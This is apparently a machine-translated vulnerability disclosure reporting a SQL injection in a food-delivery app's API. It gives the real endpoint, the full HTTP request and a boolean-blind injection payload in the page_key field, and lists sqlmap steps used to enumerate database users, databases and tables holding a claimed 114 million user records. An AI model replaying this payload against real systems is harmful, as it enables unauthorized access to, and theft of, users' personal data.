Dual chopsticks official APP has SQL injection (including 114 million + User Data)

Dual chopsticks official APP has SQL injection (including 114 million + User Data)

SQL Injection for APP security

Objective: To go home to eat with dual chopsticks official APP

Check that SQL Injection exists in the following places: (page_key in POST, Boolean blind note)
 

POST http://user.mapi.jiashuangkuaizi.com/Activity/GetByPageKey HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 232Host: user.mapi.jiashuangkuaizi.comConnection: Keep-AliveAccept-Encoding: gzipUser-Agent: okhttp/2.7.0channel=huijiachifan&coordinate=65.948716,59.53666&page_key=Mypage&utoken=&_cityid=420300&_device=awift00:00:00:00:00:00&_osversion=4.4.2&_platform=Android&_screen=720x1280&_time=2016-01-21 13:12:56&_version=2.4.6

Payload:
 

POST http://user.mapi.jiashuangkuaizi.com/Activity/GetByPageKey HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 232Host: user.mapi.jiashuangkuaizi.comConnection: Keep-AliveAccept-Encoding: gzipUser-Agent: okhttp/2.7.0channel=huijiachifan&coordinate=65.948716,59.53666&page_key=-1' or 1=1 and 1=1 -- &utoken=&_cityid=420300&_device=awift00:00:00:00:00:00&_osversion=4.4.2&_platform=Android&_screen=720x1280&_time=2016-01-21 13:12:56&_version=2.4.6

1. SQLMap vulnerability proof
 

2. List current database users
 

3. list all databases
 

4. list all the tables in the current database. A total of 134 user tables are found to contain more than 114 million user data. The details are not detailed ~
 

 

 

Solution:

Please kindly advise ~